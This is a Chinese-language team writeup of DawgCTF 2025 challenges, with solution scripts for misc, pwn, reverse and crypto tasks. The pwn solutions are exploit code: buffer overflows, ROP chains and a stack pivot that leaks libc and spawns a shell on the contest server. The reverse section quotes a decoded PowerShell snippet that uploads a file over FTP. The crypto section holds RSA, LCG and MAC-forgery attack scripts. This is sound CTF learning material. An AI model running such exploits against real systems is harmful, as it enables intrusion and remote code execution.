DawgCTF 2025

UKFC 2025 DawgCTF Writeup

Misc

DiscordChallenge | 解出

进入网站,找到 flag 频道拿到 flag

DawgCTF{3nj0y_th3_c0mp3t1t10n!}

Challenge Files? | 解出

打开题目提示,我们打开提示拿到 flag

Don’t Forget About the Hints! | 解出

依然是打开提示得到 flag:

DawgCTF{nice_job_thats_the_hint}

Don’t Touch My Fone | 解出

附件是一个 wav 音频文件,根据题目描述可知为 dtmf 拨号音隐写。

使用 dtmf2num 进行解析,得到 flag

DawgCTF{4104553500}

Mystery Signal I | 解出

得到一个 wav 音频文件,Audacity 打开,明显的隐写:

看上去是摩斯密码:.-../../…/-/./-./-.-./.-/.-././..-./..-/.-../.-../-.–

进行解密:

得到 flag:

DawgCTF{LISTENCAREFULLY}

Spectral Secrets | 解出

音频隐写,Audacity 打开,查看频谱图得到 flag:

DawgCTF{4ud4c17y_my_b310v3d}

Caddyshack | 解出

根据题目,我们需要连接到caddyshack.umbccd.net的服务器,然而并不知道端口号,

使用端口扫描,扫描所有的端口:nmap -p- ``caddyshack.umbccd.net

发现 70/tcp (gopher 协议) 端口开放。

使用 nc 连接服务器,输入“/”:

发现/Flag.txt,重新连接输入/Flag.txt 得到 flag:

DawgCTF{60ph3r_15_n07_d34d!}

Mystery Signal II | 解出

依旧是音频隐写,可以听出来是 SSTV 隐写

使用 RX-SSTV 接受,输出图像:

得到 flag:

DawgCTF{5l0w_5c4nn1n6}

My Cat Trashed My File! | 未解出

本质上是对 vim 操作的逆向:

第一个文件给了键位:

第二个文件是操作后的 flag:

由于逆向比较困难,我们可以尝试正向处理:

整个 flag 有 37 个字符:

我们假设初始 flag 是:abcdefghijklmnopqrstuvwxyzABCDEFGHIJK

按照操作移位,那么得到的格式和移位后的 flag 一一对应就可以得到原初的 flag:

Cipher For Good | 未解出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
A -> JOY
B -> aN_
C -> ZM
D -> rN
E -> ɛN | EN
F -> RN0EIZ
G -> cX3P
H -> mZLuEC
I -> E0Ql
J -> DawgCTF{
K -> Ws
L -> CpQ
M -> ɛE
N -> Zɛ | ɛ
O -> m0v13_n1gh7
P -> QCD
Q -> NCE
R -> NT
S -> GUBF
T -> t
U -> _K_
W -> N1E
X -> E0CNHCR
Y -> }
Z -> ɛ

Look Long and Prosper | 未解出

我们需要找到一个名叫 Wikikenobi 的用户给我们留下了一条关于钥匙(key)的线索,而密文是:

aiye_hoav_aqd_advi

应该是维吉尼亚密码,而关键在于找到 key

Pwn

internsProject | 解出

  • 观察伪代码发现只检查第一个命令,但有一次性处理多个命令的代码,所以一次性输入'1 2’即可拿到 flag
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

io = process("./internsProject")
io = gdb.debug("./internsProject",""" decompiler connect ida --host 192.168.241.85 --port 3662
                                      b handleOption
                                      c""")
def mune(choice):
    io.sendlineafter(b"Press Enter to submit:",choice)#str(choice).encode())

mune(b"1 2")

io.interactive()

frame_trap | 解出

  • 题目实现一个回合制的 pk,目标是打败 bot,双方各 100 health

  • 开始有个 gets 溢出,溢出特定数值可以提升攻速,还可以随意改自己生命值

    • 攻速好像不影响,但是为了改生命值,顺便改一下
  • 使用技能 5 有概率砍掉 bot 50 health

  • 再 bot 被砍死之前需要使用 6 成功闪掉 bot 一次攻击,这样 bot 死掉之后会给 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

io = process("./frame_trap")
io = remote("connect.umbccd.net",25699)
'''
io = gdb.debug("./frame_trap",""" decompiler connect ida --host 192.168.241.85 --port 3662
                                  b *0x00000000040168E
                                  c""")
'''
payload                     = p64(0x525241504F545541) +  p64(0x59) + p64(0xfffffff)*3
io.sendlineafter(b"=== Frame Trap ===",payload)

def mune(choice):
    io.sendlineafter(b"(6) Dodge",str(choice).encode())

#或手动操作...
mune(6)
mune(5)
mune(5)

io.interactive()

chall | 解出

  • 这道题像是更像是一个教程,一步步引导如何拿到 flag
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

io = process("./chall")
io = remote("connect.umbccd.net",22237)
'''
io = gdb.debug("./chall",""" decompiler connect ida --host 192.168.241.85 --port 3662
                            b *0x4011Ea
                            c""")
'''
elf                         =  ELF("./chall")

io.sendlineafter(b">",b"2")
io.sendlineafter(b">",b"1")
io.sendlineafter(b">",b"4")
io.sendlineafter(b"0x401401",b"\x00"*0x98+p64(0x401406))
#DawgCTF{C0ngR4tul4t10ns_
a1                          = 0xDEADBEEF
rdi                         = 0x00000000004017d6
rsi                         = 0x00000000004017d8
rdx                         = 0x00000000004017da
io.sendlineafter(b"Continue:",b"\x00"*0x28+p64(rdi)+p64(a1)+p64(0x00000000401319))
#d15c1p13_y0u_
payload                     =  b"\x00"*0x38 + p64(rdi) + p64(0xDEADBEEF)
payload                     += p64(rsi) + p64(0xDEAFFACE) + p64(rdx) + p64(0xFEEDCAFE)
payload                     += p64(0x4011Eb)
io.sendlineafter(b"Final Test:",payload)
#4r3_r34dy_2_pwn!}d15c1p13_y0u_u
io.interactive()

clobber | 解出

  • 看似没法控制 rdi,导致无法 leak libc

  • 可以选择控制 rbp 进而控制 gets 函数和 puts 函数的 rdi,但是紧接着会清零 rax 然后 leave ret

    • 可以看到 rbp 和 leave_ret 联系紧密,难点在于顾此失彼
    • 方便起见
      1. gets 和 puts 一起调用加上 leave_ret 称 magic1
      2. 调用 puts 加上 leave_ret 称 magic2
  • No pie,在 elf 内存中寻找 libc 相关地址,最终选择 stdout 和 stderr 这里

  • 开始先栈迁移到地址已知位置,溢出大量 start 函数地址,这样后续使用 magic1 的 leave_ret 可以迁移到这里,继续控制执行流,也不担心被 stack 结构覆盖掉

  • 选择利用 magic1 将 0x404068 布置为 rop 链,然后立即使用 leave_ret 栈迁移到前面布置的大量 start 地址处,防止调用函数破坏_IO_2_1_stderr_地址

    • 这里的 rop 链需要实现栈迁移,不能直接调用 main 或 magic2,这是由于距离 r–的段很近,会出现段错误
  • 再次栈迁移到 stdout,利用 magic2 leak 并算出 libc_base,随后走 rop 拿 flag

    • 本地可以 orw 但是不能 getshell
    • 远程放 flag 的文件叫 flag.txt,但是不能 orw,好在可以 getshell
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

io = process("./clobber")
io = remote("clobber.umbccd.net",13373)
'''
io = gdb.debug("./clobber",""" decompiler connect ida --host 192.168.241.85 --port 3662
                                b main 
                                c 
                                c
                                c
                                c""")
'''
elf                         =  ELF("./clobber")
libc                        =  ELF("./libc.so.6")
leave_ret                   =  0x00000000004011e0
gets                        =  elf.plt["gets"]
puts                        =  elf.plt["puts"]
main                        =  elf.sym["main"]
success(f"main              => {hex(main)}")
mov_                        =  0x00000000004011d3
ret                         =  0x000000000040101a
##  0x0040115c             015dc3  add dword [rbp - 0x3d], ebx
##  0x0040115f                 90  nop
##  0x00401160                 c3  ret
magic                       =  0x0040115c
rbp                         =  0x000000000040115d
start                       =  0x000000000401090
fake_stack                  =  0x404500
start_addr                  =  0x404848
flag_addr                   =  0x404d08

sleep(0.1)
io.sendline(b"\x11"*0x20+p64(fake_stack)+p64(0x4011be))
sleep(0.1)
io.sendline(b"\x22"*0x28+p64(start)*0x100+b"flag\x00\x00\x00\x00")
sleep(0.1)
io.sendline(b"\x33"*0x20+p64(0x404068+0x20)+p64(0x4011be))
sleep(0.1)
io.sendline(p64(rbp)+p64(start_addr+0x50)+p64(leave_ret)+b"\x44"*8+p64(start_addr)+p64(leave_ret))
sleep(0.1)
io.sendline(b"\x55"*0x20+p64(0x404040+0x20)+p64(0x4011cf)+p64(main))
io.recvuntil(b"UUUUUUUUUUUUUUUUUUUUUUUUU")
io.recvuntil(b"\x0a")
libc_base                   =  u64(io.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00")) - 0x1ce5c0
rdi                         =  libc_base + 0x000000000002a885
rsi                         =  libc_base + 0x000000000002c361
rdx                         =  libc_base + 0x0000000000137cd9
bin_sh                      =  libc_base + 0x00000000001907e8
system                      =  libc_base + libc.sym["system"]
pop_pop                     =  libc_base + 0x000000000002abc2
open_                       =  libc_base + libc.sym["open"]
write                       =  libc_base + libc.sym["write"]
read                        =  libc_base + libc.sym["read"]
success(f"libc_base         => {hex(libc_base)}")
orw                         =  p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0)
orw                         += p64(open_)
orw                         += p64(rdi) + p64(3) + p64(rsi) + p64(0x405010) 
orw                         += p64(rdx) + p64(0x100) + p64(read)
orw                         += p64(rdi) + p64(1) + p64(rsi) + p64(0x405010)
orw                         += p64(rdx) + p64(0x100) + p64(write)
sys                         =  p64(pop_pop)*3 + p64(rdi) + p64(bin_sh) + p64(system)
sleep(0.1)
io.sendline(b"\xaa"*0x28+sys)


io.interactive()

Reverse

Suspicious scripts | 解出

通过 Base64 隐藏实际的 PowerShell 脚本,并使用 Invoke-Expression ([char]105+[char]101+[char]120 就是 iex) 动态执行隐藏的代码

反转字符串,解码 a

try${F=[char]67+[char]85+[char]92+[char]08+[char]79+[char]911+[char]511+[char]123+[char]51+[char]110+[char]99+[char]48+[char]100+[char]15+[char]100+[char]51+[char]95+[char]112+[char]511+[char]53+[char]99+[char]114+[char]94+[char]112+[char]611+[char]251+[char]46+[char]116+[char]102+“ftp://user:scary@DawgCTF{Wr4pp3d_5c1pt5!}/in/pass.zip”;$wcl=[System.Net.WebClient]::new();$uri=[System.Uri]::new($ftp);$wcl.UploadFile($uri,“cat{eix}”);

我愚蠢了,ai 给我反转错了

DawgCTF{Wr4pped_5c1pt5!}

shinyclean_budget | 解出

查壳 AMD64,啥都没加,上 ida

rust 编写的,有点乱,但是逻辑可以看出来只有一个异或

1
2
3
data=[0x7B,0x5E,0x48,0x58,0x7C,0x6B,0x79,0x44,0x79,0x6D,0xC,0xC,0x60,0x7C,0xB,0x6D,0x60,0x68,0xB,0xA,0x77,0x1E,0x42]
for i in range(len(data)):
    print(chr(data[i]^0x3F),end='')

DawgCTF{FR33_C4R_W45H!}

Evanesco | 解出

题目说 spilled my invisibility potion all over it……emmm 他把 flag 藏起来了

我觉得有点像 misc,刚才看这个题没找到加密函数

我有一点想法,你和我找一下

是不是很像 flag 的一部分,发现所有的数据都有 80A0F3,猜测出题人给 flag 加了一些东西变成不可打印字符,达到“隐形”的效果,所以根据 DawgCTF 这个开头进行猜测,发现把每个大数的前两个字节减去 0x40 会变成上面的一串字符

1
2
3
4
5
6
7
8
9
0x8481A0F38180A0F3, 0xB781A0F3A181A0F3,
    0x8381A0F3A781A0F3, 0x8681A0F39481A0F3,
    0xB581A0F3BB81A0F3, 0xA381A0F39F81A0F3,
    0xAE81A0F3A181A0F3, 0xB481A0F39F81A0F3,
    0xA781A0F3A181A0F3, 0xA281A0F39F81A0F3,
    0xB481A0F3B581A0F3, 0xB581A0F39F81A0F3,
    0xA381A0F39F81A0F3, 0xAE81A0F3A181A0F3,
    0x9F81A0F3B481A0F3, 0xA981A0F3A881A0F3,
    0xA581A0F3A481A0F3, 0xBF81A0F3BD81A0F3,

卧槽,出了,脑洞()我直接把大数重复的 81A0F3 删了,每行剩四个,然后剩下的字节-0x40

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
data=[0x84,0x81, 0xB7,0xA1,
    0x83,0xA7,0x86,0x94,
    0xB5,0xBB,0xA3,0x9F,
    0xAE,0xA1,0xB4,0x9F,
    0xA7,0xA1,0xA2,0x9F,
    0xB4,0xB5,0xB5,0x9F,
    0xA3,0x9F,0xAE,0xA1,
    0x9F,0xB4,0xA9,0xA8,
    0xA5,0xA4,0xBF,0xBD]
for i in range(len(data)):
    print(chr(data[i]-0x40),end='')

但是感觉要修改一下这个顺序,我觉得需要换位

我说了要丢弃一些,两两换位,第一个大数就不规律,

脚本跑出来 DAwaCgFTu{c_nat_gab_tuu_c_na_tihed}

两两换位,应该是这个

出了,就是这个

DawgCTF{u_can_tag_but_u_cant_hide}

真无敌了,做上 misc 了,如果不是我喜欢幻想,都不一定想的到(

web_challenge | 解出

主逻辑是这个,根据索引数组查另一个字符数组:

脚本也很好写,就是不知道为什么缺了最后的},加上就好了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>
int main() {
        unsigned char box[] = "jrg/!7%[3=F,|2uAmv5\\Y)X~]S_wD\'*E\"GOehz>l@W8q`4cCV;fQ6&0^R+toB#(dp1K$bHN:<PLnUTyZi }?ka.9IJ-{Mxs";
        unsigned char data[39] = {
                0x1C, 0x55, 0x1B, 0x02, 0x2F, 0x4D, 0x0A, 0x5B, 0x46, 0x22, 0x1A, 0x08, 0x19, 0x2F, 0x2D, 0x49,
                0x08, 0x1A, 0x0A, 0x38, 0x22, 0x5C, 0x1A, 0x2D, 0x19, 0x19, 0x08, 0x5C, 0x3C, 0x4A, 0x14, 0x1A,
                0x29, 0x08, 0x3C, 0x1C, 0x08, 0x30, 0x19, 0x41
        };
        for (int i = 0; i < 39; i++) {
                printf("%c", box[data[i]]);
        }
        return 0;
}

DawgCTF{NO_3SC4P3_FROM_4SS3MBLY_W3BD3VS}

Shiny clean Club | 解出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib

## 硬编码的 XOR 加密数据(25字节)
encrypted = bytes([
    0xCF, 0x09, 0x1E, 0xB3, 0xC8, 0x3C, 0x2F, 0xAF, 0xBF, 0x24, 0x25, 0x8B, 0xD9, 0x3D, 0x5C, 0xE3,
    0xD4, 0x26, 0x59, 0x8B, 0xC8, 0x5C, 0x3B, 0xF5, 0xF6
])

## 目标 SHA256(校验用)
target_sha256 = bytes.fromhex("61cd3bdb1272953e049b0185b12703f8f6454c7df95c38cc042423c13e05ee51")

## 已知 flag 前8字节是 "DawgCTF{",用前4字节计算密钥
prefix = b"DawgCTF{"
key_bytes = bytes([encrypted[i] ^ prefix[i] for i in range(4)])  ## 计算密钥
key = int.from_bytes(key_bytes, 'little')  ## 转换为 u32 整数

## 用密钥解密全部25字节
decrypted = bytes([encrypted[i] ^ key_bytes[i % 4] for i in range(25)])

## 验证 SHA256 是否匹配
if hashlib.sha256(decrypted).digest() == target_sha256:
    print(f"[+] XOR Key: {key} (hex: 0x{key:x})")
    print(f"[+] Decrypted Flag: {decrypted.decode()}")
else:
    print("[-] Failed: SHA256 mismatch. Check encrypted data or target hash.")

DawgCTF{4LL_RU57_N0_C4R!}

ProEditon | 解出

输入 DawgCTF{0123456789abc

发现加密后的值为

而密文

1
2
3
0xea, 0xd9, 0x31, 0x22, 0xd3, 0xe6, 0x97, 0x70,
0x16, 0xA2, 0xA8, 0x1B, 0x61, 0xFC, 0x76, 0x68,
0x7b, 0xab, 0xb8, 0x27, 0x96

前八个完全一致,

应该是根据前面的字节加密后一位这样

正确的,和前面字节有关

这 rust 真难看……一开始的 while 是将输入读取到另一个线程,后面是密文比较,只剩中间一段了

爆破爆出来了,用的 gdb,思路就是从前往后一位一位确定,每次输入都只改变末尾字符:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
set pagination off
set logging overwrite on
set logging file gdb_final.log
set logging enabled on

## 配置参数
set $flag = {0xea, 0xd9, 0x31, 0x22, 0xd3, 0xe6, 0x97, 0x70,0x16, 0xA2, 0xA8, 0x1B, 0x61, 0xFC, 0x76, 0x68,0x7b, 0xab, 0xb8, 0x27, 0x96}
set $buffer_addr = 0x5555555cedd0
set $break_addr = 0x0000555555561a0a

## 初始化已知部分
set $input = "DawgCTF{"
set $pos = 8
set $max_len = 21

## 启动程序并设置初始断点
file ./shinyclean_pro
break *$break_addr
run <<< "DawgCTF{AAAAAAAAAAAAA" 

## 主爆破循环
while $pos < $max_len
    set $found = 0
    set $c = 0x7f
  
    while $c >= 0x20
        python
import gdb
gdb.execute("python input_str = gdb.parse_and_eval('$input').string()")
gdb.execute("python c_char = int(gdb.parse_and_eval('$c'))")
gdb.execute("python pos = int(gdb.parse_and_eval('$pos'))")
gdb.execute("python pad_len = 21 - pos - 1")

tmp = input_str + chr(c_char) + '\x00' * pad_len

with open('/tmp/gdb_input.txt', 'wb') as f:
    f.write(tmp.encode('latin-1'))
end

        printf "Testing: '"
        shell cat /tmp/gdb_input.txt | xxd -p
        printf "' at pos %d (char 0x%02x)\n", $pos, $c
      
        ## 运行
        run </tmp/gdb_input.txt
      
        ## 得到对应位置加密后的字节
        set $enc_byte = *(unsigned char*)($buffer_addr + $pos)
        printf "  Encrypted[%d] = 0x%02x (Target: 0x%02x)\n", $pos, $enc_byte, $flag[$pos]
      
        ## 比较与密文是否相等
        if $enc_byte == $flag[$pos]
            set $found = 1
            python
input_str = gdb.parse_and_eval("$input").string()
c_char = int(gdb.parse_and_eval("$c"))
gdb.execute('set $input = "{}%c"'.format(input_str) % c_char)
end
            printf "\n>>> FOUND: pos %d = '0x%02x' <<<\n\n", $pos, $c
            set $pos = $pos + 1
            break
        else
            set $c = $c - 1
        end

    end
  
    if !$found
        printf "\n!!! FAILED at position %d !!!\n", $pos
        quit
    end

    set $found = 0

    delete breakpoints
    break *$break_addr
end

printf "\n>>>> FINAL FLAG: %s <<<<\n", $input
quit

输入 gdb -q ./shinyclean_pro -x crack.gdb 运行

DawgCTF{S0000_CL43N!}

Crypto

BabyRSA1 | 解出

解二元一次方程组

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from sympy import *

N = 82012538447359821165849738352756467719053530066892750177578020351019136006996881441650616631012602654920370573185549134046659875914860421394782338722082599261391182262036434549525388081948429632803770833590739702562845306267418403878169267641023564108136843672261999376998284926318313315387819024961709097101
e = 65537
ct = 16978597269030388872549064541934623430749704732655891928833779185083334396093332647023718343748730349576361193985691953617733288330780060179716905267988202710452028943623598185277149645724247199640730959820455032298145782015884558972868277752456856802145299858618876838286795962548300080924547387662096543717

a = 149738867837230590596162146900
b = 743799113257239690478459408953
c = 351498883480247386367558572595
d = 1175770398223262147164171561358

x = 6836728736678282915469852947219518538837808913380425472016857154639492051766923345186030197640091719641785981050969319578519968972834509899732176840511342124020344870655741074618585883
y = 12203451977234755811396526665700561863946871005728263879373008871704520841041885029745864562375412192520795388389509063064717933869698154304534842876137996238014648925041725231457010083

p,q=symbols('p q')
f1=Eq(x,a*p+b*q)
f2=Eq(y,c*p+d*q)

p1,q1=solve((f1,f2),(p,q))[p],solve((f1,f2),(p,q))[q],

print(long_to_bytes(pow(ct,int(inverse(e,(q1-1)*(p1-1))),N)))

DawgCTF{wh0_s41d_m4th_15_us3l3ss?}

Cantor’s Pairadox | 解出

按照加密逻辑逆回去

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *
from sympy import *
from sage.all import sqrt, floor

def getTriNumber(n):
    return n * (n + 1) // 2  

def unpair(code):

    S = floor((sqrt(8 * code + 1) - 1) / 2)
    T_S = getTriNumber(S)
    n2 = code - T_S
    n1 = S - n2
    return n1, n2

def unpair_array(encoded_arr):

    decoded = []
    for code in encoded_arr:
        n1, n2 = unpair(code)
        decoded.append(n1)
        decoded.append(n2)
    return decoded

def unpad_from_power_of_two(arr):

    while len(arr) > 0 and arr[-1] == 0:
        arr.pop()
    return arr

def decode(encoded_arr, rounds=6):
    temp = encoded_arr.copy()
    for _ in range(rounds):
        temp = unpair_array(temp)
    temp = unpad_from_power_of_two(temp)
    return temp


encoded = [4036872197130975885183239290191447112180924008343518098638033545535893348884348262766810360707383741794721392226291497314826201270847784737584016]

decoded = decode(encoded)
print(''.join(chr(c) for c in decoded))

Dawg{1_pr3f3r_4ppl3s_t0_pa1rs_4nyw2y5}

BabyRSA2 | 解出

爆破出 $\phi(N)$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
from sympy import *

e = 58271
d = 16314065939355844497428646964774413938010062495984944007868244761330321449198604198404787327825341236658059256072790190934480082681534717838850610633320375625893501985237981407305284860652632590435055933317638416556532857376955427517397962124909869006289022084571993305966362498048396739334756594170449299859
N = 119082667712915497270407702277886743652985638444637188059938681008077058895935345765407160513555112013190751711213523389194925328565164667817570328474785391992857634832562389502866385475392702847788337877472422435555825872297998602400341624700149407637506713864175123267515579305109471947679940924817268027249
c = 107089582154092285354514758987465112016144455480126366962910414293721965682740674205100222823439150990299989680593179350933020427732386716386685052221680274283469481350106415150660410528574034324184318354089504379956162660478769613136499331243363223860893663583161020156316072996007464894397755058410931262938
e_priv = 0x10001

for k in range(1,e):
  if (e<em>d-1)%k==0:</em>
*    possible_phi=(e*d-1)//k
    d_priv=int(inverse(e_priv,possible_phi))
    m=long_to_bytes(pow(c,d_priv,N))
    if b'DawgCTF{' in m:
      print(m)
      break

DawgCTF{kn0w1ng_d_1s_kn0w1ng_f4ct0rs}

Guess Me If You Can | 解出

LCG,得到五个连续随机数把 LCG 参数求出来即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from operator import invert
from gmpy2 import *
from sympy import *
from Crypto.Util.number  import*
from pwn import *

io=remote('connect.umbccd.net',25185)

def register(name):
    io.sendlineafter(b'>',b'1')
    io.sendlineafter(b'Enter your name:',name)
    io.recvuntil(b'Your secret password is:  ')
    key=int(io.recvline().strip().decode())
    return key

x=[]
names=[b'uky',b'bingbing',b'bangbang',b'uky_TheFirstSquadOutside',b'Deceit']
for i in range(len(names)):
    key=register(names[i])
    x.append(key)


m=gcd((x[1]-x[0])*(x[3]-x[2])-(x[2]-x[1])**2,(x[2]-x[1])*(x[4]-x[3])-(x[3]-x[2])**2)

if not isprime(m):
    m=max(factorint(m))

if gcd(x[1]-x[0],m)==1:
    a=(x[2]-x[1])<em>inverse(x[1]-x[0],m)%m</em>
*    b=(x[1]-a*x[0])%m

    xx=x[0]
    xx=(xx-b)*inverse(a,m)%m
      
io.sendlineafter(b'>',b'2')
io.sendlineafter(b'Enter your name:',b'admin')
io.sendlineafter(b'Enter your password:',str(xx).encode())
io.interactive()

DawgCTF{PRNGs_d0nt_m4k3_f0r_g00d_p455w0rd5}

The Birds | 解出

DawgCTF{there_is_no_escape}

THE MAC FAC | 解出

这里的 MAC_KEY 是铁定解不出来的了,只能另寻出路了。经过分析这里就是异或,我们首先要自己输入一个信息和 iv 向量,在之后的 log 中得到加密后的结果,这里加密是异或。根据异或的特性只要对加密后的 iv 与我们输入的 iv 再次异或(此处为字符串异或)就可以得到 XOR_KEY,之后就可以反过来解出 admin_msg 与 admin_iv,之后在带回 1 中生成指定的 tag,随后的检验就很简单了。

有点像是整活的手搓(

我来!!!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from Crypto.Util.number  import*
from Crypto.Util.strxor import *
from Crypto.Util.Padding import *
from pwn import *

io=remote('connect.umbccd.net',27811)
io.sendlineafter(b'>',b'1')
io.sendlineafter(b'Message: ',b'UKY_UKY_UKY_UKY_')
io.sendlineafter(b'IV (in hex): ',b'12345678123456781234567812345678')

io.sendlineafter(b'>',b'3')
io.recvuntil(b'User generated a MAC (msg=')
en_admin_msg=bytes.fromhex(io.recvuntil(b',')[:-1].strip().decode())

io.recvuntil(b'IV=')
en_admin_IV=bytes.fromhex(io.recvline().strip().decode())

io.recvuntil(b'User generated a MAC (msg=')
en_msg=bytes.fromhex(io.recvuntil(b',')[:-1].strip().decode())

io.recvuntil(b'IV=')
en_IV=bytes.fromhex(io.recvline().strip().decode())


IV=bytes.fromhex('12345678123456781234567812345678')


xor_key=strxor(IV,en_IV)


def xor(data: bytes, key: bytes) -> bytes: 
    repeated_key = (key * (len(data) // len(key) + 1))[:len(data)]
    return strxor(data, repeated_key)

admin_msg=xor(en_admin_msg,xor_key)[:-13]
admin_IV=xor(en_admin_IV,xor_key)


io.sendlineafter(b'>',b'1')
io.sendlineafter(b'Message: ',admin_msg)
io.sendlineafter(b'IV (in hex): ',admin_IV.hex().encode())
io.recvuntil(b'The MAC Tag for your message is:  ')
admin_tag=io.recvline().strip()



M=b'aaaaaaaaaaaaaaa'
token=pad(M,16)+b'AC is my password. Please verify me'
IV=strxor(strxor(b'At MAC FAC, my M',pad(M,16)),admin_IV)

io.sendlineafter(b'>',b'4')
io.sendlineafter(b'Admin passphrase: ',token)
io.sendlineafter(b'IV (in hex): ',IV.hex().encode())
io.sendlineafter(b'Tag (in hex): ',admin_tag)


io.interactive()

DawgCTF{m0r3_r4nd0mne55_15_n0t_4lw4y5_m0r3_53cur3}

Jokesmith | 解出

我是孙子,这就是 CRT(中国剩余定理)

交互过程中的"Here is our jokes! Show it to a friend to make them laugh!“这句话表明密文 c 加密的是上面交互的内容

只要保证每一次交互内容相同,就能保证明文相同,那么多得到几组 N 和 c 就可以进行广播攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from Crypto.Util.number import *
from sympy import *
from gmpy2 import *

c1 = 63645625098177679647469462796215881944669578588885772516583483861566480001203639946438772233897012820259599264199950598686846199808689487923280719403079321819526628187334756615975649098788792277791902166141637374628293711199314838417865479503789433768110035407188222210633081250240260824932007929054599930139
N1 = 85120638215055074196354065072458042697328904636388672947432731502093482757028848791510510025752754800451184113853825289244029624441674497864449624210959255309869705962791726337037102617638511033393889107084518021810810701519690946648857991558033738779359664384671050743672960785973731664289290613393901115991

c2 = 71789245070547140813866470223476175248942694387268774160360107413984988305701369629240362304788243289809105331581315736985748230516613310166962120603009039424936948576524847818580666676859337244409650570811889231691430003289179901192524562405635227088041349606742586036110964726348100452071157026884459724962
N2 = 150802901220394839678905828647196656837237911423058321067611605755465437047846029413471839424205437919062223803123254720192209358697160075341503730879864124621069594575833872846486401637050424947391415788055606670477731593564971097930332108756368829313460481079098548065358649361391651447125271515317662060397

c3 = 78891013081939311807849897419764195819468112222606854905751956529722855835537112974500373870093054502382939087309716092630790473847225741121228190034337973071049673356924709059085751225535082183823874597799332711439112723286013620847930449015575034099706896741305066447905153175052527885062033635472694674056
N3 = 84928420244989376819718841364575275588383957154268352453765447042479855341354821197776763356148555946692020182483698038633663607825197783938371517738468194720287817307695703965162176783395894382265892875397885620764086152927690272140477617751231493132256164487461015552185127648554778184448153230951745403181

c4 = 46531045756099815050358582648501231135405396275970946530497320361757487600731919190584269216405874187023582203353509316282848829638622466842480301847022779643574044377282186526424708987748298650055974409914116135477922559248988458037525960221571380569780674052559251815899908319073008313460092908854874627775
N4 = 104643085631417305187335334754090217711206019109093143249428140762451799830401499771317417180911880873609299425598709279093763440879261092252480054983601303508939751167764645937253524202686926514984991163131937074252669893994981247971060449197887188558286760312253945610042753271944936581692917250726799555317

c5 = 100741138601245365798565624918680621128083185813395901811981370376203443378397808917745669787352780020731408245659789900724599836107894294008792055012015103413209290447409021553722990574480379080805409530753416607687528850372107215524638378156236179737433199818728023444134242364392832394931121179643496683413
N5 = 102920492275961111453470455863237039715247130532516556357506017668418369154843215104803074576212895955783512354931295990725159113508415396771770212502937422700972922434649915497006892677239409027902001008855595528015402862665926982730526764887799520660279683899272652864975203231053517301845691887747823768537

c6 = 44174941088315866059712924583544302566444793254485357006302291707569169154043284839949754202748045227755140217327124087559818727883584553228201423476436451908563846575767169856173036196167565102612249677832658475855536859150765731120680766569566413865657219423403157963713378116705716890564949976659460400142
N6 = 77163042577782142253811146263967936961404033639489368404779079457200647229223302656738451575646397821193853659730396056186679605069862723174843128765566660977678236187809956916469651671367723406991009607015811103058598521770445208569474217947145853805996456461033726918043688488987803786327972099127030343667

c7 = 134952850549381295677447675267100465852291469208110968958627698634388426840366427611600612862933671951551575996045707439015801336283920038220571401971203062911152455044474120917920787898055133778761059999200146913846139414467485747664072295210131634765337770577094614187812414917801083924904241326099763738450
N7 = 162268346724276124462969821372647384834968416405281908036643559398473702429535258169257738952310066242194652635775777213137247704220924269486512119997316503424555469144600398975481492025734602101674495269076434747150576098059889792107719629651090671983857040326664410158192172782717020728458299184589275978001

c8 = 67082850457940058003095850487517810917284342430733022760149568959718356385086886091799484757305466795971037657090856416507127718146746904383619319558726596029376702405193156425028169949613614924119746013028216576237546747075379322795984937647751911061348903191422806584790735541818282017108827983442116425331
